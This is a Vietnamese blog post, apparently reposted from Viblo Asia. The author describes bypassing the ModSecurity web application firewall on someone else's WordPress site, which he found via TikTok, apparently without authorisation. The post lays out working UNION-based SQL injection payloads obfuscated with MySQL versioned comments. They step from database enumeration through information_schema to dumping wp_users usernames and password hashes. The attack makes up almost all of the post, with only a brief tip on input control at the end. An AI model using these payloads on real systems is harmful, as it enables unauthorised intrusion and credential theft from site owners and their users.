- vừa được xem lúc

Vượt rào cản của Mod Security

0 0 27

Người đăng: zunokie

Theo Viblo Asia

Đôi chút về Mod Security

Mod Security à một module tường lửa có thể tích hợp với các Web Application Server (máy chủ ứng dụng web) như Apache, IIS, Nginx cho phép phân tích và ghi nhật ký các luồng dữ liệu HTTP/S.Với sự đóng góp từ dự án ModSecurity Core Rule Set của tổ chức OWASP đã giúp ModSecurity trở nên mạnh mẽ và linh động hơn trong việc phân tích các hành vi có nguy cơ xâm hại an ninh ứng dụng web.

Mod Security đứng trước Web Server, làm nhiệm vụ như một firewall để kiểm soát truy cập vào ra Web Server. Các thông tin đi từ bên ngoài vào và bên trong ra sẽ được kiểm soát chặt chẽ để tránh những thông tin có thể gây hại cho Web Server hay là việc rò rỉ các thông tin đặc biệt từ Web Server đến Client.

Bạn có thể xem thêm tại: Tích hợp "Mod Security" cho Web Application Server để chống lại SQL Injection và tấn công XSS - Phan Van Tung

Chuyển cảnh qua chủ đề chính

Trong bài viết này, mình cho bạn thấy cách mà mình vượt qua rào cản của Mod Security khi vô tình lướt được video Tiktok giới thiệu trang web của ông anh 96 (Nhân vật tăng sự hấp dẫn). Khi lưới qua trang web, tôi vô tình nhận ra rằng trang của ông anh 96 gặp phải lỗi đơn giản:

site/ejemplo?parameter=-1+union+selec+1,2,3,4,5,6,7+--+

Chỉ bằng cách mã hóa các parameter bằng /.../ mình có thể vượt qua bộ lọc WAF.

site/ejemplo?parameter=-1+/*!50000union*/+/*!50000selec*/+1,2,3,4,5,6,7+--+

Ở đây, bạn có thể thấy cột dễ tấn công chính là cột thứ 4. Nhưng với người ham tò mò như mình, mình quyết định thử inject với cách khác.

AND mod(29,9)_@.com:=(concat(database(),"--","_Y000!_"))+UNION+DISTINCTROW+SELECT+1,2,3,@a,5,6,7

Kết quả trả về khi mình không cần mã hóa: Tiếp tục, mình áp dụng theo cách trước đó, mã hóa tiếp xem thế nào?

-1+AND+mod(29,9)_@.com:=(/*!50000concat(database/**_**/(),"--","_Y000!_")*/)+/*!50000UNION*//**//*!50000DISTINCTROW*/+/*!50000SELECT*/+1,2,3,@a,"_Y000!_",6,7--+

Kết quả trả về đúng như mong đợi của mình, sau khi mã hóa và thực hiện chúng đã bỏ qua WAF Mod Security và trả về kết quả Thiết nghĩ, có thể truy xuất dữ liệu từ database thì nghĩ tới ngay việc sử dụng concat() để truy xuất dữ liệu thông qua download xem thế nào?

@a:=(/*!50000concat(database/**_**/(),"--","_Y000!_")*/)

Bạn thấy chứ, tệp tải xuống là 5.html trong khi cột số 4 dễ inject. Chính tỏ thì ngoài cột số 4 thì mình có thể inject qua cột số 5.

Tận dụng lỗi này, mình kiểm tra thêm đôi chút! Thực hiện truy xuất thông tin cơ bản từ tên của bảng database:

-1+AND+mod(29,9)_@.com:=(/*!50000concat(database/**_**/(),"--","_Y000!_")*/)+/*!50000UNION*//**//*!50000DISTINCTROW*/+/*!50000SELECT*/+1,2,3,@a,table_name,6,7+/*!50000from*/+/*!50000information_schema.tables*/+--+

Như bạn thấy, trước đó mình thực hiện với 1 tệp tải xuống, nhưng ở đây mình thực hiện với truy xuất bảng trên database. Mỗi bảng tương ứng với mỗi thẻ<tr></tr> và có thể truy xuất thông qua thẻ <a></a>.

Rõ hơn chút, mình đã thấy trang ông anh 96 này sử dụng Wordpress ?‍ Tiếp tục mình thực hiện truy xuất từ bảng wp_users.

-1+AND+mod(29,9)_@.com:=(/*!50000concat(database/**_**/(),"--","_Y000!_")*/)+/*!50000UNION*//**//*!50000DISTINCTROW*/+/*!50000SELECT*/+1,2,3,@a,column_name,6,7+/*!50000from*/+/*!50000information_schema.columns*/+/*!50000where*/+/*!50000table_name="wp_users"*/+--+

Vậy là bạn có thể rằng, mình có thể truy xuất dữ liệu usernamepassword rồi đấy ?

-1+AND+mod(29,9)_@.com:=(/*!50000concat(database/**_**/(),"--","_Y000!_")*/)+/*!50000UNION*//**//*!50000DISTINCTROW*/+/*!50000SELECT*/+1,2,3,@a,/*!50000CoNcAt(user_nicename,"--",user_pass)*/,6,7+/*!50000from*/+/*!50000wp_users*/+--+

Kết cục của ông anh 96còn cái nịt nhé ?

Mình nói nhỏ cho mà nghe

  • Hãy đảm bảo rằng bạn đã hoàn toàn kiểm soát được đầu vào đầu ra, dù cho là nơi không tưởng nhất.
  • Đừng giống như ông anh 96 mà đem trang của mình lên Tiktok nhé ?

Cảm ơn các bạn đã đọc bài viết của mình, đừng quên LikeShare ủng hộ mình ? Nếu cảm thấy hay thì hãy Follow để theo dõi các bài viết tiếp theo của mình nhé ?

Bình luận

Bài viết tương tự

- vừa được xem lúc

Cài đặt WordPress trên localhost bằng XAMPP (Ubuntu 18.04)

Mở đầu. Ngày nay, khi thương mại điện tử đang phát triển mạnh thì mỗi doanh nghiệp hay cá nhân đều muốn sở hữu cho mình một trang web riêng.

0 0 16

- vừa được xem lúc

Cách sử dụng Composer, Laravel Mix với Wordpress

MÌnh code Laravel cũng khá lâu nên cũng quen với cách tổ chức code PHP theo dạng OOP, Namespace, autoload theo chuẩn PSR-4 và cài cắm thêm nhiều các packages/library qua Composer. Và mình cũng áp dụng

0 0 32

- vừa được xem lúc

Cách dùng Docker để phát triển ứng dụng Wordpress

Trong bài này, mình sẽ hướng dẫn cách dựng môi trường phát triển cho ứng dụng Wordpress một cách nhanh chóng bằng Docker thông qua một boilerplate có sẵn đó là sun-asterisk-research/docker-php-develop

0 0 51

- vừa được xem lúc

15 Phút Để Tạo Một Trang Blog Cá Nhân Miễn Phí

Chào mọi người, hôm nay mình sẽ chia sẻ cách tạo một trang blog hoàn toàn miễn phí, vô cùng đơn giản với Wordpress. Có thể tuỳ ý điều chỉnh theo sở thích, cũng như nâng cấp mở rộng khi có nhu cầu cao

0 0 32

- vừa được xem lúc

Hướng dẫn tìm bug wordpress plugin (phần 1)

Viblo May Fest 2021 là sự kiện nhằm thúc đẩy việc chia sẻ kiến thức, chung tay phát triển cộng đồng IT Việt Nam. Những người tham gia sự kiện sẽ nhận được những phần quà hấp dẫn đến từ ban tổ chức.

0 0 30

- vừa được xem lúc

Hướng dẫn tìm bug wordpress plugin (phần 3)

Tiếp tục với loạt bài hướng dẫn tìm bug wodpress plugin thì trong phần 3 này mình sẽ chia sẻ cách mình tìm lỗi SQL injection. Ngoài lỗi này ra mình còn tìm các lỗi khác nữa và sẽ viết bài chia sẻ nếu

0 0 16